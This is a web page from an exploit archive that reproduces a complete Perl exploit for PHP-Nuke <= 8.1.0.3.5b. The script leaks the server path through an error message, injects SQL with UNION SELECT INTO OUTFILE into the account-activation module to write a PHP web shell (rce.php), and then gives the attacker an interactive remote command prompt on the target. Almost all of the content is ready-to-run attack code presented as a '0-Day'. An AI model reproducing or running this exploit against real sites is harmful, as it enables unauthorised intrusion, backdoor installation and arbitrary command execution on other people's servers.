Home / os / win7

PHP-Nuke <= 8.1.0.3.5b Remote Command Execution Exploit

Posted on 10 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PHP-Nuke &lt;= 8.1.0.3.5b Remote Command Execution Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================================
PHP-Nuke &lt;= 8.1.0.3.5b Remote Command Execution Exploit
=======================================================

# PHP-Nuke &lt;= 8.1.0.3.5b Remote Command Execution Exploit
# Author/s: Dante90 &amp; yawn
# Contact Us: www.unitx.net
# Requirements: magic_quotes_gpc : off
# Greetings: #0day@irc.iside.us | #Unit-X@irc.unitx.net

#	You will remember, Watson, how the dreadful business of the
#   	Abernetty family was first brought to my notice by the depth which the
#   	parsley had sunk into the butter upon a hot day.
#		                                        -- Sherlock Holmes

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;

sub Nuke::Usage {
	print &quot; 
 [0-Day] PHP-Nuke &lt;= 8.1.0.3.5b Remote Command Execution Exploit
&quot;;
	print &quot; ------------------------------------------------------ 
&quot;;
	print &quot; * USAGE:                                             *
&quot;;
	print &quot; * cd [Local Disk]:\                                  *
&quot;;
	print &quot; * perl name_exploit.pl [host] [username] [password]  *
&quot;;
	print &quot; * -&gt; REMEMBER TO ADD THE FINAL / TO THE HOSTNAME &lt;-  *
&quot;;
	print &quot; ------------------------------------------------------ 
&quot;;
	print &quot; *             Powered By Dante90 &amp; yawn              *
&quot;;
	print &quot; *  	               www.unitx.net                  *
&quot;;
	print &quot; ------------------------------------------------------ 
&quot;;
}

#VARS
system $^O eq 'MSWin32' ? 'cls' : 'clear';
Nuke::Usage();
my $host = shift || die;
my $cmd;
my $shell = &quot;&lt;?php echo system($_GET[&quot;cmd&quot;]); ?&gt;&quot;; # Change Here to Set your custom shell (for example use system() );
my $cookies = HTTP::Cookies-&gt;new;
my $request = LWP::UserAgent-&gt;new;
$request-&gt;agent(&quot;Mozilla 5/0&quot;);
$request-&gt;cookie_jar($cookies);
#END VARS
sub Full_Path_Disclosure() {
	my $Get = $request-&gt;get($host.'themes/NukeNews/theme.php');
	if ($Get-&gt;content =~ /No such file or directory in &lt;b&gt;(.+?)&lt;/b&gt; on line/i) {
		return $1;
	} else {
		return &quot;failed&quot;;
	}
}

print &quot; * Getting Full Path
&quot;;
my $path = Full_Path_Disclosure();
die &quot; * Failed Path Extraction&quot; if ($path eq &quot;failed&quot;);
$path =~ s/themes(/|\)NukeNews(/|\)theme.php//g;
print &quot; * Full Path Found: $path
&quot;;
if ($path =~ m/\/) {
	$path =~ s/\/\\\\/g;
}
print &quot; * Injecting Shell To $host
&quot;;
my $req2= $request-&gt;post($host.&quot;modules.php?name=Your_Account&amp;op=activate&amp;username=WTF&quot;,
	{
		check_num =&gt; &quot;'UNION/**/SELECT 1,2,3,4,5,6,'&quot;.$shell.&quot;' FROM `nuke_authors` INTO OUTFILE '$path&quot;.&quot;rce.php&quot;,
	},
	Referer =&gt; $host.&quot;index.php&quot;);
print &quot; * Injecting Successfully Completed
&quot;;
print &quot; * Shell now available on $host&quot;.&quot;rce.php
&quot;;
print &quot; * Connecting to remote shell
&quot;;
sleep(4);
print &quot; * Connected.. Type &quot;quit&quot; to quit
&quot;;
while() {
		print &quot;* root@backdoor ~$ &quot;;
		$cmd = &lt;&gt;;
		chomp($cmd);
		last if $cmd eq &quot;quit&quot;;
		$req2 = $request-&gt;get($host.&quot;/rce.php?cmd=&quot;.$cmd);
		print $req2-&gt;content.&quot;
&quot;;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-10]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :